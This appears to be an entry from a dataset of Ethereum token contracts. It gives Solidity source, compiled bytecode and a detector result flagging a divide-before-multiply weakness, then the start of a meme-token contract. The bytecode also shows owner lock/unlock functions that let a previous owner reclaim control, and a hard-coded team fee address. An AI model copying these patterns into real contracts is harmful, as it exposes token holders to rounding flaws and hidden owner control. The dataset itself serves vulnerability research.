if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
//Owner
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
//For the team
function _teamTokens(address sender, uint256 tteam, uint256 rteam) internal {
_rOwned[_teamAddress] = _rOwned[_teamAddress].add(rteam);
if (_isExcluded[_teamAddress])
_tOwned[_teamAddress] = _tOwned[_teamAddress].add(tteam);
emit Transfer(sender, _teamAddress, tteam);
_teamFeeTotal = _teamFeeTotal.add(tteam);
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103df578063dd4670641461040f578063dd62ed3e1461042b578063f2cc0c181461045b578063f2fde38b14610477578063f84354f11461049357610158565b8063715018a61461032f5780638da5cb5b1461033957806395d89b4114610357578063a457c2d714610375578063a69df4b5146103a5578063a9059cbb146103af57610158565b80632d838119116101155780632d83811914610233578063313ce5671461026357806339509351146102815780634549b039146102b1578063602bc62b146102e157806370a08231146102ff57610158565b8063053ab1821461015d57806306fdde0314610179578063095ea7b31461019757806313114a9d146101c757806318160ddd146101e557806323b872dd14610203575b600080fd5b61017760048036038101906101729190612a65565b6104af565b005b61018161062a565b60405161018e9190612d3c565b60405180910390f35b6101b160048036038101906101ac9190612a29565b6106bc565b6040516101be9190612d21565b60405180910390f35b6101cf6106da565b6040516101dc9190612efe565b60405180910390f35b6101ed6106e4565b6040516101fa9190612efe565b60405180910390f35b61021d600480360381019061021891906129da565b6106f7565b60405161022a9190612d21565b60405180910390f35b61024d60048036038101906102489190612a65565b6107d0565b60405161025a9190612efe565b60405180910390f35b61026b61083e565b6040516102789190612f19565b60405180910390f35b61029b60048036038101906102969190612a29565b610855565b6040516102a89190612d21565b60405180910390f35b6102cb60048036038101906102c69190612a8e565b610908565b6040516102d89190612efe565b60405180910390f35b6102e9610995565b6040516102f69190612efe565b60405180910390f35b61031960048036038101906103149190612975565b61099f565b6040516103269190612efe565b60405180910390f35b610337610a8a565b005b610341610bdd565b60405161034e9190612d06565b60405180910390f35b61035f610c06565b60405161036c9190612d3c565b60405180910390f35b61038f600480360381019061038a9190612a29565b610c98565b60405161039c9190612d21565b60405180910390f35b6103ad610d65565b005b6103c960048036038101906103c49190612a29565b610f39565b6040516103d69190612d21565b60405180910390f35b6103f960048036038101906103f49190612975565b610f57565b6040516104069190612d21565b60405180910390f35b61042960048036038101906104249190612a65565b610fad565b005b6104456004803603810190610440919061299e565b611174565b6040516104529190612efe565b60405180910390f35b61047560048036038101906104709190612975565b6111fb565b005b610491600480360381019061048c9190612975565b6114af565b005b6104ad60048036038101906104a89190612975565b611671565b005b60006104b9611a58565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053f90612ede565b60405180910390fd5b6000610555836006611a60565b50505090506105ac81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061060481600854611b1390919063ffffffff16565b60088190555061061f83600954611b2990919063ffffffff16565b600981905550505050565b6060600a8054610639906130ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610665906130ed565b80156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106d06106c9611a58565b8484611b3f565b6001905092915050565b6000600954905090565b60006a295be96e64066972000000905090565b6000610704848484611d0a565b6107c584610710611a58565b6107c0856040518060600160405280602881526020016135b760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610776611a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122679092919063ffffffff16565b611b3f565b600190509392505050565b6000600854821115610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080e90612dbe565b60405180910390fd5b60006108216122bc565b905061083681846122e790919063ffffffff16565b915050919050565b6000600c60009054906101000a900460ff16905090565b60006108fe610862611a58565b846108f98560056000610873611a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2990919063ffffffff16565b611b3f565b6001905092915050565b60006a295be96e64066972000000831115610958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094f90612e3e565b60405180910390fd5b8161097857600061096a846003611a60565b50505090508091505061098f565b6000610985846003611a60565b5050915050809150505b92915050565b6000600254905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a3a57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610a85565b610a82600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d0565b90505b919050565b610a92611a58565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1690612e5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054610c15906130ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610c41906130ed565b8015610c8e5780601f10610c6357610100808354040283529160200191610c8e565b820191906000526020600020905b815481529060010190602001808311610c7157829003601f168201915b5050505050905090565b6000610d5b610ca5611a58565b84610d56856040518060600160405280602581526020016135df6025913960056000610ccf611a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122679092919063ffffffff16565b611b3f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dec90612d9e565b60405180910390fd5b6002544211610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090612d7e565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610f4d610f46611a58565b8484611d0a565b6001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610fb5611a58565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611042576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103990612e5e565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080426110f09190612f50565b600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611203611a58565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611290576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128790612e5e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490612e1e565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113f1576113ad600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d0565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6114b7611a58565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153b90612e5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab90612dde565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611679611a58565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90612e5e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178990612e1e565b60405180910390fd5b60005b600780549050811015611a54578173ffffffffffffffffffffffffffffffffffffffff16600782815481106117f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a41576007600160078054905061184e9190613031565b81548110611885577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600782815481106118ea577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007805480611a07577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611a54565b8080611a4c9061311f565b915050611795565b5050565b600033905090565b6000806000806000611a706122bc565b90506000611a9a6064611a8c898b6122fd90919063ffffffff16565b6122e790919063ffffffff16565b90506000611ab1828a611b1390919063ffffffff16565b90506000611ac8848b6122fd90919063ffffffff16565b90506000611adf85856122fd90919063ffffffff16565b90506000611af68284611b1390919063ffffffff16565b905082818588995099509950995050505050505092959194509250565b60008183611b219190613031565b905092915050565b60008183611b379190612f50565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba690612ebe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1690612dfe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cfd9190612efe565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7190612e9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de190612d5e565b60405180910390fd5b60008111611e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2490612e7e565b60405180910390fd5b60006003905060006003905060008183611e479190612f50565b9050600080600080611e598886611a60565b9350935093509350611eb384600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4883600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120735761202f88600460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561215b5761211782600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2990919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061218360646121758a8c6122fd90919063ffffffff16565b6122e790919063ffffffff16565b9050600061219a83836122fd90919063ffffffff16565b90506121a68183612313565b8a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516122039190612efe565b60405180910390a3600061223360646122258b8e6122fd90919063ffffffff16565b6122e790919063ffffffff16565b9050600061224a85836122fd90919063ffffffff16565b905061225730838361234d565b5050505050505050505050505050565b60008383111582906122af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a69190612d3c565b60405180910390fd5b5082840390509392505050565b60008060006122c96125c7565b915091506122e081836122e790919063ffffffff16565b9250505090565b600081836122f59190612fa6565b905092915050565b6000818361230b9190612fd7565b905092915050565b61232882600854611b1390919063ffffffff16565b60088190555061234381600954611b2990919063ffffffff16565b6009819055505050565b6123b3816003600073e425c24019d112ef3a26da03fe04d895a95312d673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2990919063ffffffff16565b6003600073e425c24019d112ef3a26da03fe04d895a95312d673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506006600073e425c24019d112ef3a26da03fe04d895a95312d673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561252e576124d6826004600073e425c24019d112ef3a26da03fe04d895a95312d673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2990919063ffffffff16565b6004600073e425c24019d112ef3a26da03fe04d895a95312d673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b73e425c24019d112ef3a26da03fe04d895a95312d673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161259f9190612efe565b60405180910390a36125bc82600d54611b2990919063ffffffff16565b600d81905550505050565b6000806000600854905060006a295be96e64066972000000905060005b6007805490508110156128e757826003600060078481548110612630577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061274457508160046000600784815481106126dc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612764576008546a295be96e6406697200000094509450505050612932565b61281a60036000600784815481106127a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b1390919063ffffffff16565b92506128d2600460006007848154811061285d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b1390919063ffffffff16565b915080806128df9061311f565b9150506125e4565b506129086a295be96e640669720000006008546122e790919063ffffffff16565b821015612929576008546a295be96e64066972000000935093505050612932565b81819350935050505b9091565b60008135905061294581613571565b92915050565b60008135905061295a81613588565b92915050565b60008135905061296f8161359f565b92915050565b60006020828403121561298757600080fd5b600061299584828501612936565b91505092915050565b600080604083850312156129b157600080fd5b60006129bf85828601612936565b92505060206129d085828601612936565b9150509250929050565b6000806000606084860312156129ef57600080fd5b60006129fd86828701612936565b9350506020612a0e86828701612936565b9250506040612a1f86828701612960565b9150509250925092565b60008060408385031215612a3c57600080fd5b6000612a4a85828601612936565b9250506020612a5b85828601612960565b9150509250929050565b600060208284031215612a7757600080fd5b6000612a8584828501612960565b91505092915050565b60008060408385031215612aa157600080fd5b6000612aaf85828601612960565b9250506020612ac08582860161294b565b9150509250929050565b612ad381613065565b82525050565b612ae281613077565b82525050565b6000612af382612f34565b612afd8185612f3f565b9350612b0d8185602086016130ba565b612b16816131f5565b840191505092915050565b6000612b2e602383612f3f565b9150612b3982613206565b604082019050919050565b6000612b51601c83612f3f565b9150612b5c82613255565b602082019050919050565b6000612b74602c83612f3f565b9150612b7f8261327e565b604082019050919050565b6000612b97602a83612f3f565b9150612ba2826132cd565b604082019050919050565b6000612bba602683612f3f565b9150612bc58261331c565b604082019050919050565b6000612bdd602283612f3f565b9150612be88261336b565b604082019050919050565b6000612c00601b83612f3f565b9150612c0b826133ba565b602082019050919050565b6000612c23601f83612f3f565b9150612c2e826133e3565b602082019050919050565b6000612c46602083612f3f565b9150612c518261340c565b602082019050919050565b6000612c69602983612f3f565b9150612c7482613435565b604082019050919050565b6000612c8c602583612f3f565b9150612c9782613484565b604082019050919050565b6000612caf602483612f3f565b9150612cba826134d3565b604082019050919050565b6000612cd2602c83612f3f565b9150612cdd82613522565b604082019050919050565b612cf1816130a3565b82525050565b612d00816130ad565b82525050565b6000602082019050612d1b6000830184612aca565b92915050565b6000602082019050612d366000830184612ad9565b92915050565b60006020820190508181036000830152612d568184612ae8565b905092915050565b60006020820190508181036000830152612d7781612b21565b9050919050565b60006020820190508181036000830152612d9781612b44565b9050919050565b60006020820190508181036000830152612db781612b67565b9050919050565b60006020820190508181036000830152612dd781612b8a565b9050919050565b60006020820190508181036000830152612df781612bad565b9050919050565b60006020820190508181036000830152612e1781612bd0565b9050919050565b60006020820190508181036000830152612e3781612bf3565b9050919050565b60006020820190508181036000830152612e5781612c16565b9050919050565b60006020820190508181036000830152612e7781612c39565b9050919050565b60006020820190508181036000830152612e9781612c5c565b9050919050565b60006020820190508181036000830152612eb781612c7f565b9050919050565b60006020820190508181036000830152612ed781612ca2565b9050919050565b60006020820190508181036000830152612ef781612cc5565b9050919050565b6000602082019050612f136000830184612ce8565b92915050565b6000602082019050612f2e6000830184612cf7565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612f5b826130a3565b9150612f66836130a3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f9b57612f9a613168565b5b828201905092915050565b6000612fb1826130a3565b9150612fbc836130a3565b925082612fcc57612fcb613197565b5b828204905092915050565b6000612fe2826130a3565b9150612fed836130a3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561302657613025613168565b5b828202905092915050565b600061303c826130a3565b9150613047836130a3565b92508282101561305a57613059613168565b5b828203905092915050565b600061307082613083565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156130d85780820151818401526020810190506130bd565b838111156130e7576000848401525b50505050565b6000600282049050600182168061310557607f821691505b60208210811415613119576131186131c6565b5b50919050565b600061312a826130a3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561315d5761315c613168565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54686520636f6e7472616374206973207374696c6c206c6f636b656400000000600082015250565b7f4f6e6c79207468652070726576696f7573206f776e65722063616e20756e6c6f60008201527f636b206f6e776572736869700000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b61357a81613065565b811461358557600080fd5b50565b61359181613077565b811461359c57600080fd5b50565b6135a8816130a3565b81146135b357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208298b82d746f78a11186cd4b6d2a35c244c4306d95d1bb102f84f6c90ebc402f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,173 |
0x66528b6407c937d70fb600c6c3c5a17441fc6742
|
/**
*Submitted for verification at Etherscan.io on 2021-07-17
*/
/**
The OFFICIAL Dead Meme token of Uniswap
telegram: https://t.me/MemeNecromancyToken
https://twitter.com/elonmusk/status/1416435673494695938
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
